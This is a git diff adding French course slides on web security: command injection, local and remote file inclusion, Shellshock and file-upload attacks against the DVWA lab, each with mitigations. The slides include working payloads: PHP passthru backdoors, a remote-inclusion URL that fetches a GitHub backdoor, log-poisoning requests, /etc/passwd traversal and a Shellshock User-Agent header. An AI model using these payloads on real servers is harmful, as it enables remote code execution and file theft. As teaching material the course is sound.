diff --git a/content/Etudiants/zz2-f5-websec.md b/content/Etudiants/zz2-f5-websec.md index 759a3904686d7d453151750fa09dc3732b5c6e51..ddbb1d7bd759752e7b1d62c0705f56b4b765a62c 100644 --- a/content/Etudiants/zz2-f5-websec.md +++ b/content/Etudiants/zz2-f5-websec.md @@ -29,14 +29,13 @@ Tags: cours * [Command execution](slides/1337/cmdi.html) -* Exploit + * [Shellshock](slides/1337/shellshock.htm) - * [Shellshock](https://doc.m4z3.me/_/1337/shellshock.htm) - * [Upload](https://doc.m4z3.me/_/1337/upload.htm) - * [LFI_RFI](https://doc.m4z3.me/_/1337/LFI_RFI.htm) + * [Upload](slides/1337/upload.htm) + * [LFI_RFI](slides/1337/fi.htm) * [XSS](https://doc.m4z3.me/_/1337/XSS.htm) * [CSRF](https://doc.m4z3.me/_/1337/CSRF.htm) - * [SQLi](https://doc.m4z3.me/_/1337/SQLi.htm) + * [SQLi](https://doc.m4z3.me/_/1337/SQLi.htm) * Exploit diff --git a/content/slides/1337/fi.html b/content/slides/1337/fi.html new file mode 100644 index 0000000000000000000000000000000000000000..186ec1f95ab4d5b72fac32d5339535e668c9474f --- /dev/null +++ b/content/slides/1337/fi.html @@ -0,0 +1,70 @@ +<!doctype html> +<html> + <head> + <meta charset="utf-8"> + <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"> + + <title>File inclusion</title> + + <link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css"> + <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css"> + + <!-- Theme used for syntax highlighting of code --> + <link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css"> + <link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css"> + <link rel="stylesheet" href="../main.css"> + + <!-- Printing and PDF exports --> + <script> + var link = document.createElement( 'link' ); + link.rel = 'stylesheet'; + link.type = 'text/css'; + link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css'; + document.getElementsByTagName( 'head' )[0].appendChild( link ); + </script> + </head> + <body> + <div class="reveal"> + <div class="slides"> + <section data-markdown="md/fi.md" + data-separator="^\n\n\n" + data-separator-vertical="^\n\n" + data-separator-notes="^Note:" + data-charset="utf-8"> + </section> + </div> + </div> + + <script src="../../node_modules/reveal.js/lib/js/head.min.js"></script> + <script src="../../node_modules/reveal.js/js/reveal.js"></script> + + <script> + // More info about config & dependencies: + // - https://github.com/hakimel/reveal.js#configuration + // - https://github.com/hakimel/reveal.js#dependencies + Reveal.initialize({ + controls: true, + progress: true, + history: true, + center: false, + dependencies: [ + { src: '../../node_modules/reveal.js/plugin/markdown/marked.js' }, + { src: '../../node_modules/reveal.js/plugin/markdown/markdown.js', + condition: function() { return !!document.querySelector( '[data-markdown]' ); }, + callback: function() { + Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){ + var fragIndex = ele.innerHTML.indexOf("--") + if (fragIndex != -1){ + ele.innerHTML = ele.innerHTML.replace("--", ""); + ele.className = 'fragment'; + } + }); + } + }, + { src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true }, + { src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } } + ] + }); + </script> + </body> +</html> diff --git a/content/slides/1337/images/shellshock/shellshock-bug.png b/content/slides/1337/images/shellshock/shellshock-bug.png new file mode 100644 index 0000000000000000000000000000000000000000..c64cd99b3893c934c2813af59c49b7c4d1b2a6be Binary files /dev/null and b/content/slides/1337/images/shellshock/shellshock-bug.png differ diff --git a/content/slides/1337/images/upload/kitten.jpg b/content/slides/1337/images/upload/kitten.jpg new file mode 100644 index 0000000000000000000000000000000000000000..33c3922c37b36ed0b9f35735c532a875bf7ee1cf Binary files /dev/null and b/content/slides/1337/images/upload/kitten.jpg differ diff --git a/content/slides/1337/images/upload/kitten.jpg.php b/content/slides/1337/images/upload/kitten.jpg.php new file mode 100644 index 0000000000000000000000000000000000000000..33c3922c37b36ed0b9f35735c532a875bf7ee1cf Binary files /dev/null and b/content/slides/1337/images/upload/kitten.jpg.php differ diff --git a/content/slides/1337/images/upload/lego.jpeg b/content/slides/1337/images/upload/lego.jpeg new file mode 100644 index 0000000000000000000000000000000000000000..f3f7d65e307a8b146badb74c24bc7614ee3a9ced Binary files /dev/null and b/content/slides/1337/images/upload/lego.jpeg differ diff --git a/content/slides/1337/md/cmdi.md b/content/slides/1337/md/cmdi.md index 99787aa91ab966094c2a0ba032a2399cfb7ca1c4..63381380a87b05a697b012487ebdc5390c93a8bc 100644 --- a/content/slides/1337/md/cmdi.md +++ b/content/slides/1337/md/cmdi.md @@ -1,13 +1,15 @@ -## Command execution +# Command execution + +## aka [command injection](https://www.owasp.org/index.php/Command_Injection) + ### [security low](http://dv.wa/vulnerabilities/exec/) -* exécutrion de commandes arbitraires sur le serveur -* aussi appelée [command injection](https://www.owasp.org/index.php/Command_Injection) +* exécution de commandes arbitraires sur le serveur * triviale mais assez rare -## Command execution +### [security low](http://dv.wa/vulnerabilities/exec/) * paramètre non filtré * la commande est écrite en dur @@ -27,7 +29,6 @@ Note: - non y a le cookie qui coince :/ - admin:password - https://securenetworkmanagement.com/dvwa-and-hydra-login-dvwa-part-1/ -- ce cas est faille assez rare - il faut injecter des commandes que le server connait - win/unix/linux/bsd/solarix/aix - pool de commandes par défaut @@ -39,11 +40,9 @@ Note: - DVWA Security -> medium -## Command execution - ### [security medium](http://dv.wa/vulnerabilities/exec/) -* les chaînes de caractères "&&" et ";" sont interdites +les chaînes de caractères "&&" et ";" sont interdites ```shell # Pour y voir plus clair @@ -79,8 +78,6 @@ Note: - DVWA Security -> high -## Command execution - ### [security high](http://dv.wa/vulnerabilities/exec/) * l'approche est ici différente @@ -109,9 +106,8 @@ Note: netcat -v dv.wa 1337 ``` -* \o/ nous disposons d'un accès à la machine i - -* avec les permissions de l'utilisateur www-data +* \o/ nous disposons d'un accès distant à la machine + * avec les permissions de l'utilisateur www-data Note: - revenir en medium ou low security @@ -143,6 +139,6 @@ Note: ## <i class="fa fa-medkit"></i> Se préserver -* liste blanche -* cron pour les traitements récurrents -* ne pas installer `ǹetccat` +* utiliser des listes blanches plutôt que des listes noires +* utiliser cron pour les traitements récurrents +* ne pas installer `netccat` ... diff --git a/content/slides/1337/md/fi.md b/content/slides/1337/md/fi.md new file mode 100644 index 0000000000000000000000000000000000000000..9631666768f8f339d85aad0f14f409005e394c5e --- /dev/null +++ b/content/slides/1337/md/fi.md @@ -0,0 +1,350 @@ +# File Inclusion + +## aka LFI / RFI + + +## File Inclusion + +* paramètres HTTP non filtrés + +```php +include($_REQUEST['filename']); +``` + +* permet + * d'exécuter du code distant + * d'exécuter du code localement + * accéder à des fichiers locaux sensibles + +* concerne [include](http://php.net/manual/fr/function.include.php), [include_once](http://php.net/manual/fr/function.include-once.php), [require](http://php.net/manual/fr/function.require.php), [require_once](http://php.net/manual/fr/function.require-once.php), [fopen](http://php.net/manual/fr/function.fopen.php) + + +## Local File Inclusion (LFI) + +### [security low](http://dv.wa/vulnerabilities/fi/?page=include.php) + +* souvent appelé **Directory traversal** +* permet d'accéder à des fichiers sensibles + * [http://dv.wa/vulnerabilities/fi/?page=/etc/passwd](http://dv.wa/vulnerabilities/fi/?page=/etc/passwd) + +* marche aussi avec /etc/hosts, ~/.bashrc, ~/.bash_history ... +* marche pas avec /etc/shadow + +Note: +- open base dir + - pas ou mal configiuré + - par défaut ispconfig +- anciennement safe_mode + + +### fichiers sytèmes connus + +* fichiers systèmes génériques + * c:\boot.ini, c:\windows, c:\windows\system32\drivers\etc\hosts + * /etc/passwd +* utilisé des paths absolus +* utilisé des paths relatifs (../.. ou ..\\..) +* windows + * les sevrices tournent souvent en administaretur +* linux + * services en root + * threads avec utlisateur sans privilege + +Note: +- pas de troll sur windows + - stackoverflow fonctionne en .net + - microsoft a ouvert de nombreux projets +- les path en pahse de détection sont d'un grand secours pour comprendre l'organisation du filesystem + + +### fonction de l'architecture du code + +* charger la page appelée + * [http://dv.wa/vulnerabilities/fi/?page=index.php](http://dv.wa/vulnerabilities/fi/?page=index.php) + * boucle infinie = ca marche + * invalider par (include|require)_once + + +### fonction de l'architecture du code + +* dossier d'inclusion dynamique de fichier + * paramètres d'url full path + * ?config=../template.htm + * paramètres d'url obfusqué + * ?config=site + +```php +include "config/".$config.".php"; +``` + +* [url rewriting](https://www.webrankinfo.com/dossiers/techniques/tutoriel-url-rewriting) à prendre en compte + +[http://dum.my/config.php?config=conf.inc](http://dum.my/config.php?config=conf.inc%00) + +Note: +- magic_quote_gpc doit être disabled + - supprimé de la version 5.4.0 + - pas maquettée on une 5.4.41 sur debian +- code source inclu interprété ou pas + - pas toujours évident à savoir + - bien comprendre le contexte +- importance des paths collecter à l'étape de détection +- exploitable via http://mutillid.ae https://www.youtube.com/watch?v=t8w6Bd5zxbU + - textfile passé en post à intercepter avec burp + - bon exercice + + +## Remote File Inclusion (RFI) + +* inclusion de code arbitraire + * Backdoor ou Remote shell + +* dépend de la configuration de php + * par défaut + +```ini +; Whether to allow include/require to open URLs (like http:// or ftp://) as files. +; http://php.net/allow-url-include +allow_url_include=Off +``` + +* à On pour les besoins du TP + * certains produits PHP nécessitent cette option + + +### [security medium](http://dv.wa/vulnerabilities/fi/?page=include.php) + +Approche artisanale + +```php +$file = str_replace("http://", "", $file); +$file = str_replace("https://", "", $file); +``` + +Note: +- discuter la surcharge du php.ini via .htaccess + - solution ispconfig +- on reste bien sur security low pour que ca marche + + +## Backdoor + +* basiquement permet d'exécuter du code et / ou des commandes systèmes + * version artisanale + +```php +echo passthru($_GET['cmd']); +``` + +* version plus robuste + * [<i class='fa fa-github' aria-hidden='true'></i> dberliner/php-backdoor](https://github.com/dberliner/php-backdoor) + * [r57shell.net](http://www.r57shell.net/) + + +## remote raw backdoor + +<small>[http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php](http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php)</small> + +### <i class="fa fa-thumbs-o-up" aria-hidden="true"></i> + +<small> +[http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php?c=ls](http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php?c=ls)</small> + +### <i class="fa fa-thumbs-o-down" aria-hidden="true"></i> + +<small> +[http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php&c=ls](http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php&c=ls) +</small> + +### <i class="fa fa-thumbs-o-up" aria-hidden="true"></i> + + +### [security medium](http://dv.wa/vulnerabilities/fi/?page=include.php) + +#### log poisoning + +* ne nécessite aucun accès en écriture sur le système de fichier +* nécessite une mauvaise configuration des permissions sur les logs (custom logs) + * [exploitable avec les logs ssh, apache, mysql](http://oleaass.com/file-inclusion-log-poisoning-to-code-execution/) + +dans `/etc/apache2/sites-enabled/dvwa` + +```ìni +CustomLog /home/mazenovi/logs/dvwa-access.log combined +``` + + +#### log poisoning + +* l'utilisateur lié au thread apache a accès en lecture à ce répertoire + +<small> +[http://dv.wa/vulnerabilities/fi/?page=/home/mazenovi/logs/dvwa-access.log](http://dv.wa/vulnerabilities/fi/?page=/home/mazenovi/logs/dvwa-access.lo) +</small> + +* les logs sont affichés + +Note: +- j'ai volontairement configuré les logs dans un endroit non sécurisé pour que ca marche + - pour des facilités de lectures ou d'archivage ca poeut êtyre une idée (mauvaise) + - lien symbolique doit marcher ausssi + + +## injection de la backdoor + +* netcat (aka nc) permetd'ouvrir des connexions UDP ou TCP + +```shell +$ nc dv.wa 80 +``` + +* Entrer manuellement les paramètres suivant + +```http +GET /<?php echo passthru($_GET['cmd']); ?> HTTP/1.1 +Host: dv.wa +Referer: <?php echo passthru($_GET['cmd2']); ?> +User-Agent: <?php echo passthru($_GET['cmd3']); ?> +``` + +<small> +[http://dv.wa/vulnerabilities/fi/?page=/home/mazenovi/logs/dvwa-access.log&cmd=ls](http://dv.wa/vulnerabilities/fi/?page=/home/mazenovi/logs/dvwa-access.log&cmd=ls) +</small> + +attendre le log rotate en cas d'échec + +Note: +- notez que les .log ne sont pas associés à l'interpréteur PHP au niveau d'apache + - c'est le include qui interprète gentiment ce qui est entre <?php ... ?> +- attention c'est un one shot +- > /home/mazenovi/logs/dvwa-access.log pour bien voir +- > /home/mazenovi/logs/dvwa-error.log pour bien voir +- ctrl + f "help" pour trouver les rep listés on est dans + - /var/www/dvwa/vulnerabilities/fi/ + + +## PHP [safe mode](http://php.net/manual/fr/ini.sect.safe-mode.php) + +* Quand safe mode est actif, PHP vérifie que le propriétaire du script courant est le même que le propriétaire des fichiers ou dossiers qui seront manipulés par ce script. + +```shell +-rw-rw-r-- 1 rasmus rasmus 33 Jul 1 19:20 script.php +-rw-r--r-- 1 root root 1116 May 26 18:01 /etc/passwd +``` + +```php +readfile('/etc/passwd'); +``` + +```shell +Warning: SAFE MODE Restriction in effect. The script whose uid is 500 is not +allowed to access /etc/passwd owned by uid 0 in /docroot/script.php on line 2 +``` + + +## PHP [safe mode](http://php.net/manual/fr/ini.sect.safe-mode.php) + +* résout le problème du partage de PHP + * environnement mutualisé +* déprécié en 5.3 +* supprimé depuis 5.4 +* approche non réaliste + * ce n'est pas à PHP de régler ce problème +* [safe_mode_gid](http://php.net/manual/fr/ini.sect.safe-mode.php#ini.safe-mode-gid) permet d'élargir au groupe s'il est activé + + +## [suPHP](http://www.suphp.org/Home.html) + +* executing PHP scripts with the permissions of their owners +* Apache module (mod_suphp) +* setuid root binary (suphp) + * called by the Apache module to change the uid of the process executing the PHP interpreter + * rien ne doit être en chmod 777 + * reporté comme erreur + +abandonné depuis 2013 + + +## [suExec](http://httpd.apache.org/docs/2.4/fr/suexec.html) + +* Au niveau d'Apache +* exécution des programmes CGI et SSI (Server Side Inclusion) + * utilisateur autre que celui par défaut d'apache + +Note: +- bien pour le multi hosting notamment + - chacun ne peut ruiner que son périmètre +- Utilisée de manière appropriée + - réduit considérablement les risques de sécurité +- les deux sont déconseillés car ils se basent sur des mod PHP peu performant par rapport à PHP-FPM + + +## [open_base_dir](http://php.net/manual/fr/ini.core.php#ini.open-basedir) + +* A l'appel de fonctions de type [require_once](http://php.net/manual/fr/function.require-once.php) ou [fopen](http://php.net/manual/fr/function.fopen.php) + * le chemin vers le fichier est analysé + * si le fichier est à l'extérieur des dossiers spécifiés + * PHP refuse d'y accéder + * les liens symboliques sont résolus + * il n'est pas possible d'outre-passer cette restriction avec un lien symbolique + + +## [open_base_dir](http://php.net/manual/fr/ini.core.php#ini.open-basedir) + +* **.** inclue le fichier lui-même + * problématique si on change le dossier courant avec [chdir()](http://php.net/manual/fr/function.chdir.php) + +* valeur typique + +```ini +/var/www/:/usr/share/php:/tmp +``` + +Note: +- utilisé et configuré en automatique dans ISPConfig +- on peut désactiver chdir ... + + +## [realpath()](http://php.net/manual/fr/function.realpath.php) and [basename()](http://php.net/manual/fr/function.basename.php) + +* realpath() + * converti tous les *.* et **..** en path absolue + * retourne null pour un path inexistant +* basename() + * extrait la partie contenant le nom du dossier précédant directement le nom du fichier +* 2 fonctions qui combinées évitent les directory traversal + + +## [realpath()](http://php.net/manual/fr/function.realpath.php) and [basename()](http://php.net/manual/fr/function.basename.php) + +```php +$username = $_GET['user']; +$filename = "/home/users/".$username; +readfile($filename); +``` + +peut être sécurisé via realpath() et basename() + +```php +$username = basename(realpath($_GET['user'])); +$filename = "/home/users/".$username; +readfile($filename); +``` + +ne préserve pas d'une LFI dans le même répertoire + + +## <i class="fa fa-medkit"></i> Se préserver + +* filtrer ses entrées + * avec realpath() et basename() + * par listes blanches +* déscativer allow_url_include +* utiliser l'open_base_dir + + +## <i class="fa fa-medkit"></i> Se préserver + +* désactiver l'exécution de php sur les répertoires exposés qui n'en ont pas besoin (c.f. [upload](upload.htm)) +* faire attention aux permissions des logs notamment en lecture + * écriture forcément autoriser pour l'utilisateur qui fait tourner le serveur diff --git a/content/slides/1337/md/shellshock.md b/content/slides/1337/md/shellshock.md new file mode 100644 index 0000000000000000000000000000000000000000..3f392e2cbc40f46b3f5b4a07ffa4ffccfaa3d851 --- /dev/null +++ b/content/slides/1337/md/shellshock.md @@ -0,0 +1,150 @@ +<!-- .slide: data-background="images/shellshock/shellshock-bug.png" data-background-size="99%" data-background-color="black"--> + + +## se faire un système vulnérable + +* Pas évident + * dans le monde debian + * choisir une vieille [Ubuntu server 12.04.4](http://ubuntu-release.locaweb.com.br/12.04/) +* paramèter le réseau [DYI - My Security Lab](http://mazenovi.github.com) + +```shell +$ sudo apt-get apache2 && sudo a2enmod cgi +``` + + +## configuration + +```shell +$ sudo vi /usr/lib/cgi-bin/netstat.cgi +``` + +```shell +#!/bin/bash +echo "Content-type: text/html" +echo +echo "Executing: netstat -nlt" +echo +echo "<pre>" +/bin/netstat -nlt +echo "</pre>" +``` + + +## configuration + +```shell +$ sudo vi /etc/apache2/sites-available/serve-cgi-bin.conf +``` + +```xml +<IfModule mod_alias.c> + <IfModule mod_cgid.c> + Define ENABLE_USR_LIB_CGI_BIN + </IfModule> + + <IfDefine ENABLE_USR_LIB_CGI_BIN> + ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/ + <Directory "/usr/lib/cgi-bin"> + AllowOverride None + Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch + Require all granted + </Directory> + </IfDefine> +</IfModule> +``` + + +## timline + +* découverte en septembre 2014 + * [Shellshock - timeline](http://www.dwheeler.com/essays/shellshock.html#timeline) + * [CVE-2014-6271](http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271) + * [CVE-2014-7169](http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-7169), which NIST says "exists because of an incomplete fix for CVE-2014-6271." + * existe depuis le lancement du logiciel il y a 22 ans + * interpréteur par défaut GNU/Linux et pas mal d'Unix libres + + +## explications + +```shell +() { 42;}; echo; /usr/bin/id +``` + +* **() { 42;}** fonction qui "fait" 42 +* **; echo** évite des erreurs serveur dans certains cas +* **; /usr/bin/id** payload juste pour la PoC + * exécution de commandes arbitraires avec les privilèges du user apache + + +## explications + +* ne dépend d'aucun appel système dans le script CGI + * le code est exécuté lors de la préparation des variables d'environnement + * ces variables peuvent contenir des fonctions appelable par le script + * mais en fait tout code hors fonction était exécuté ... + +Note: +- vitesse de distribution des patchs + - temps de compilation et de distribution dans les paquets + + +## Impacts + +* tout serveur utilisant des cgi en bash est vulnérable +* concerne aussi + * certains DHCP + * serveurs de messagerie + * serveurs SSH + * Linux, Mac OS X, Android, Cygwin + * routeurs domestiques + * bitcoin core + * objets connectés en tout genre + +Note: + - pour la mail c'est certaines versions de qmail qui sont vulnérables + - Bitcoin core: porte monnaie bitcoin + + +## Détection + +* [<i class="fa fa-twitter"></i> shodan](https://twitter.com/shodanhq) +* [<i class="fa fa-newspaper-o"></i> shodan blog](http://blog.shodan.io/) +* [CGI Shodan Search](https://www.shodan.io/search?query=html%3A.cgi) +* [Shellshock Shodan Report](https://www.shodan.io/report/plt4tqpk) + +* test en ligne de commande + +```shell +x='() { :;}; echo vulnerable' bash -c "echo ceci est un test" +``` + + +## Exploitation + +* avec burp suite par exemple + +```http +GET /cgi-bin/netstat.cgi HTTP/1.1 +Host: go.od +User-Agent: () { 42;}; echo; /usr/bin/id +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-US,en;q=0.5 +Accept-Encoding: gzip, deflate +Connection: keep-alive +Pragma: no-cache +Cache-Control: no-cache +``` + +* affiche dans le navigateur en cas de vulnérabilité + +```shell +uid=33(www-data) gid=33(www-data) groups=33(www-data) +``` + +Note: +- si on arrive pas à voir ou si on veut tesr en aveugle + - ping d'un serveur maitrisé + - on attend les requêtes ping + - résolution d'un domaine maitrisé + - on attend les requêtes DNS diff --git a/content/slides/1337/md/upload.md b/content/slides/1337/md/upload.md new file mode 100644 index 0000000000000000000000000000000000000000..ea43747e0983c49d06d69fa50e367e6c3bbff416 --- /dev/null +++ b/content/slides/1337/md/upload.md @@ -0,0 +1,198 @@ +# upload + + +## Upload de fichier + +* Risque + * Upload de code arbitraire + * Backdoor ou Remote shell + +* Deux problèmes + * filtrage des types de fichiers uploadés + * exposition / exécution des scripts au niveau du répertoire d'upload + + +## Upload de fichier + +* Configurations liées à l'upload à différents endroits + * HTML (côté client) + * PHP (moteur de script) + * Apache (serveur web) + +* Ergonomiquement intéressant pour l'utilisateur + * [elFinder](http://elfinder.org) ... + * [et leurs problèmes de sécurité](https://github.com/Studio-42/elFinder/issues/815) + +Note: +- MIME Multipurpose Internet Mail Extensions + - pour que les clients mail puissent afficher correctement les PJ +- pas d'upload ... FTP, WebDav (utilise les verbs HTTP) + + +### [security low](http://dv.wa/vulnerabilities/upload/) + +Upload d'un fichier bd.php simple + +```php +echo passthru($_REQUEST['cmd']) +``` + +```php +print_r($_FILES); +/* + * ici 2 fichiers uploadés + */ +array(1) { + ["uploaded"]=>array(2) { + ["name"]=>array(2) { + [0]=>string(9)"file0.txt" + [1]=>string(9)"file1.txt" + } + ["type"]=>array(2) { + [0]=>string(10)"text/plain" + [1]=>string(10)"text/html" + } + } +} +``` + + +### [security low](http://dv.wa/vulnerabilities/upload/) + +* Trouver le répertoire d'upload + * chemins connus dans produits connus + * code source HTML faisant référence au fichier uploadé + +[http://dv.wa/hackable/uploads/bd.php](http://dv.wa/hackable/uploads/bd.php) + + +### [security medium](http://dv.wa/vulnerabilities/upload/) + +```php +$_FILES['uploaded']['type'] +``` + +* Filtrer par type mime + * déduit de l'entête HTTP *Content-Type* de la requête HTTP envoyant le fichier + * fakable + + * [mime_content_type](http://php.net/manual/fr/function.mime-content-type.php) + * [exif_imagetype](http://php.net/manual/fr/function.exif-imagetype.php) + * [finfo_file](http://php.net/manual/fr/function.finfo-file.php) + * [getimagesize](http://php.net/manual/fr/function.getimagesize.php) + + +### [security medium](http://dv.wa/vulnerabilities/upload/) + +bd.php + +```php +echo passthru($_REQUEST['cmd']) +``` + +| Command | Output | +| --------------------------- |:------------------:| +| $_FILES['uploaded']['type'] | application/x-php | +| mime_content_type | text/x-php | +| exif_imagetype | null (no image) | +| finfo_file | text/x-php | +| getimagesize[2] | null (no image) | +<!-- .element class="table-striped table-bordered table-hover" style="width: 100%" --> + + +### [security medium](http://dv.wa/vulnerabilities/upload/) + +<small style="float: left">[lego.jpeg](images/upload/lego.jpeg)</small> + +[<!-- .element style="width: 50px" -->](images/upload/lego.jpeg) + +| Command | Output | +| --------------------------- |:------------------:| +| $_FILES['uploaded']['type'] | image/jpeg | +| mime_content_type | image/jpeg | +| exif_imagetype | 2 (IMAGETYPE_JPEG) | +| finfo_file | image/jpeg | +| getimagesize[2] | image/jpeg | +<!-- .element class="table-striped table-bordered table-hover" style="width: 100%" --> + + +### [security medium](http://dv.wa/vulnerabilities/upload/) + +* [kitten.jpg.php](images/upload/kitten.jpg.php) + +<!-- .element style="width: 250px" --> + +* visionner le "Comment" du jpg avec [exiftool](http://www.sno.phy.queensu.ca/~phil/exiftool/) + [<i class="fa fa-gift"></i>](http://www.gamergen.com/actualites/insolites-hacker-arrete-pour-poitrine-copine-93809-1) + + +### [security medium](http://dv.wa/vulnerabilities/upload/) + +<small style="float: left">[kitten.jpg.php](images/upload/kitten.jpg.php)</small> + +<!-- .element style="width: 50px" --> + +| Command | Output | +| --------------------------- |:------------------:| +| $_FILES['uploaded']['type'] | application/x-php | +| mime_content_type | image/jpeg | +| exif_imagetype | 2 (IMAGETYPE_JPEG) | +| finfo_file | image/jpeg | +| getimagesize[2] | null (no image) | +<!-- .element class="table-striped table-bordered table-hover" style="width: 100%" --> + +Note: +- le .php est indispensable pour exécuter la charge dans la commentaire de l'image +- parler d'exif -> cf le lien la géoloc (sur fb, etc ...) +- On pourrait également avoir une image malicieuse vouée à infecter le client + - autre hisoitre + - difficilement détectable à l'upload + + +## <i class="fa fa-medkit"></i> Se préserver + +* Filtrer par extension de fichier plutôt que par type MIME + * utiliser des listes blanches plutôt que des listes noires + * un nom de fichier peut contenir des points + * il faut bien prendre l'extension + * c'est ce qui est fait avec [security high](http://dv.wa/vulnerabilities/upload/) + + +## <i class="fa fa-medkit"></i> Se préserver + +désactiver php dans le répertoire d'upload + +#### via le vhost ou .htaccess + +```xml +php_admin_value engine Off +``` + +Note: +- MIME Multipurpose Internet Mail Extensions : pour que les clients mail puissent afficher correctement les PJ + + +## <i class="fa fa-medkit"></i> Se préserver + +* Ne plus servir le répertoire d'upload via apache + * sortir le répertoire d'upload du dossier servi par apache + * en interdire la lecture avec un htaccess renvoyant une 403 Forbidden + +#### via le vhost ou .htaccess + +``` +order deny, allow +deny from all +``` + + +## <i class="fa fa-medkit"></i> Se préserver + +* Utiliser PHP pour lire les fichier avec [readfile](http://php.net/manual/fr/function.readfile.php) + * prendre en charge la génération des en-têtes **Content-Type** "manuellement" + * [download center lite](http://www.stadtaus.com/fr/php_scripts/download_center_lite/) + * permet une meilleure gestion des accès par permission + * accès à la session courante + * [<i class="fa fa-github"></i> igorw/IgorwFileServeBundle](https://github.com/igorw/IgorwFileServeBundle) + +Note: +- attention toute la stack Sf2 à chaque image ou asset c'est chaud diff --git a/content/slides/1337/shellshock.html b/content/slides/1337/shellshock.html new file mode 100644 index 0000000000000000000000000000000000000000..d3beea8872ba1adb2edcd1325944a39df49bcdac --- /dev/null +++ b/content/slides/1337/shellshock.html @@ -0,0 +1,70 @@ +<!doctype html> +<html> + <head> + <meta charset="utf-8"> + <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"> + + <title>ShellShock</title> + + <link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css"> + <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css"> + + <!-- Theme used for syntax highlighting of code --> + <link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css"> + <link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css"> + <link rel="stylesheet" href="../main.css"> + + <!-- Printing and PDF exports --> + <script> + var link = document.createElement( 'link' ); + link.rel = 'stylesheet'; + link.type = 'text/css'; + link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css'; + document.getElementsByTagName( 'head' )[0].appendChild( link ); + </script> + </head> + <body> + <div class="reveal"> + <div class="slides"> + <section data-markdown="md/shellshock.md" + data-separator="^\n\n\n" + data-separator-vertical="^\n\n" + data-separator-notes="^Note:" + data-charset="utf-8"> + </section> + </div> + </div> + + <script src="../../node_modules/reveal.js/lib/js/head.min.js"></script> + <script src="../../node_modules/reveal.js/js/reveal.js"></script> + + <script> + // More info about config & dependencies: + // - https://github.com/hakimel/reveal.js#configuration + // - https://github.com/hakimel/reveal.js#dependencies + Reveal.initialize({ + controls: true, + progress: true, + history: true, + center: false, + dependencies: [ + { src: '../../node_modules/reveal.js/plugin/markdown/marked.js' }, + { src: '../../node_modules/reveal.js/plugin/markdown/markdown.js', + condition: function() { return !!document.querySelector( '[data-markdown]' ); }, + callback: function() { + Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){ + var fragIndex = ele.innerHTML.indexOf("--") + if (fragIndex != -1){ + ele.innerHTML = ele.innerHTML.replace("--", ""); + ele.className = 'fragment'; + } + }); + } + }, + { src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true }, + { src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } } + ] + }); + </script> + </body> +</html> diff --git a/content/slides/1337/upload.html b/content/slides/1337/upload.html new file mode 100644 index 0000000000000000000000000000000000000000..394c1a5f00ff41232a01e99c36149240a50496b3 --- /dev/null +++ b/content/slides/1337/upload.html @@ -0,0 +1,70 @@ +<!doctype html> +<html> + <head> + <meta charset="utf-8"> + <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"> + + <title>Upload</title> + + <link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css"> + <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css"> + + <!-- Theme used for syntax highlighting of code --> + <link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css"> + <link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css"> + <link rel="stylesheet" href="../main.css"> + + <!-- Printing and PDF exports --> + <script> + var link = document.createElement( 'link' ); + link.rel = 'stylesheet'; + link.type = 'text/css'; + link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css'; + document.getElementsByTagName( 'head' )[0].appendChild( link ); + </script> + </head> + <body> + <div class="reveal"> + <div class="slides"> + <section data-markdown="md/upload.md" + data-separator="^\n\n\n" + data-separator-vertical="^\n\n" + data-separator-notes="^Note:" + data-charset="utf-8"> + </section> + </div> + </div> + + <script src="../../node_modules/reveal.js/lib/js/head.min.js"></script> + <script src="../../node_modules/reveal.js/js/reveal.js"></script> + + <script> + // More info about config & dependencies: + // - https://github.com/hakimel/reveal.js#configuration + // - https://github.com/hakimel/reveal.js#dependencies + Reveal.initialize({ + controls: true, + progress: true, + history: true, + center: false, + dependencies: [ + { src: '../../node_modules/reveal.js/plugin/markdown/marked.js' }, + { src: 